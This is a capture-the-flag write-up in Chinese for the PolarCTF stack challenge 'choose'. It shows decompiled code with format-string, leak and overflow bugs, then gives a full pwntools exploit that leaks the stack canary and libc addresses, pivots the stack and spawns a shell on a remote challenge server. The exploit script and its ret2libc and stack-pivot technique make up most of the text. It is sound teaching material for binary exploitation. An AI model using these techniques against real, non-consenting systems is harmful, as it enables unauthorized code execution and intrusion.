Polarctf writeup 栈
/writeup 13

choose

开启NX,canary,dynamic link,Partial RELRO

No Pie

源码分析:

int menu()
{
  puts("Choose ur challenge:");
  puts("1.Format");
  puts("2.Leak Libc");
  return puts("3.Buf overflow");
}
unsigned __int64 format()
{
  _QWORD buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x28u);
  printf((const char *)buf);                       //fmt
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 leaklibc()
{
  int v0; // eax
  _QWORD buf[3]; // [rsp+0h] [rbp-30h] BYREF
  int v3; // [rsp+18h] [rbp-18h]
  __int16 v4; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v3 = 0;
  v4 = 0;
  read(0, buf, 0x1Eu);
  v0 = atoi((const char *)buf);                      //泄露地址值
  puts((const char *)v0);
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 overflow()
{
  _QWORD buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf)); 
  read(0, buf, 0x50u);                               //栈溢出
  return __readfsqword(0x28u) ^ v2;
}

肯定先想办法通过fmt绕过canary啦:

canary偏移为11

由于保护和一系列的因素准备打ret2libc

用leaklibc泄露got处的libc地址即可找到偏移和对应版本libc

一开始的payload:

#payload= b"A"*(setoff-8)+ p64(canary)+p64(0)+p64(0x0000000000400a93)+p64(bin_sh)+p64(puts_addr)

调试发现不满足栈对齐,但是Rop已经到极限了,所以考虑栈迁移到buf

不过要是知道我们在overflow没有啥泄露内存的方法(就算有rop也不好做),根据函数的调用约定我们可以知道overflow的rbp和choose的rbp指向的内存地址之间的偏移是一定的,只要在format中用fmt泄露出choose的rbp的值就好。

调试发现偏移如下:

0x7fffffffdc30   choose rbp

0x7fffffffdc10 overflow rbp

相差0x20

之后就是常规栈迁移打法

完整Exp:

from pwn import *
from LibcSearcher import *

context(os= 'linux',arch= 'amd64',log_level= "debug")

#p= process("./pwn2")
p= remote("1.95.36.136",2148)

def format(s):
    p.recvuntil(b"3.Buf overflow\\n")
    p.sendline(b"1")
    sleep(0.1)
    p.sendline(s)

def leaklibc(s):
    p.recvuntil(b"3.Buf overflow\\n")
    p.sendline(b"2")
    sleep(0.1)
    p.sendline(s)

def overflow(s):
    p.recvuntil(b"3.Buf overflow\\n")
    p.sendline(b"3")
    sleep(0.1)
    p.sendline(s)

format(b"%11$p")
canary= p.recvline().strip()
canary = int(canary, 16)
print("this is recvive")
print(hex(canary))

format(b"%12$p")
choose_rbp= p.recvline().strip()
choose_rbp = int(choose_rbp, 16)
print("this is choose_rbp recvive")
print(hex(choose_rbp))
overflow_rbp= choose_rbp-0x20
print("this is overflow_rbp recvive")
print(hex(overflow_rbp))

leaklibc(str(0x0000000000601018))
puts_addr= p.recvline().strip()
puts_addr = puts_addr.ljust(8, b'\\x00')
# 转换为整数(小端序)
puts_addr = u64(puts_addr)
print("this is recvive")
print(hex(puts_addr))

leaklibc(str(0x0000000000601038))
libc_start_main_addr= p.recvline().strip()
libc_start_main_addr = libc_start_main_addr.ljust(8, b'\\x00')

libc_start_main_addr = u64(libc_start_main_addr)
print("this is libc_start_main_addr recvive")
print(hex(libc_start_main_addr))

libc_addrs= puts_addr- 	0x6f6a0
print("this libc addr")
print(hex(libc_addrs))
system_addr= 0x453a0+libc_addrs
bin_sh= libc_addrs+0x18ce57

setoff= 0x30-0x8

##stack p
payload=p64(0x0000000000400a93)+p64(bin_sh)+p64(system_addr)
payload+= b"A"*(setoff-len(payload))+ p64(canary)+p64(overflow_rbp-0x30-0x8)+p64(0x0000000000400845)
overflow(payload)
p.sendline(b"ls")
p.interactive()
#0x0000000000400845 : leave ; ret

#format setoff %6$p    ,canary setoff %11$p
#choose rbp %12$p  -0x20->overflow
#puts@got 0x0000000000601018

Polarctf writeup 栈
http://47.100.250.251:8091/archives/polarctf-zhan
作者
Administrator
发布于
更新于
许可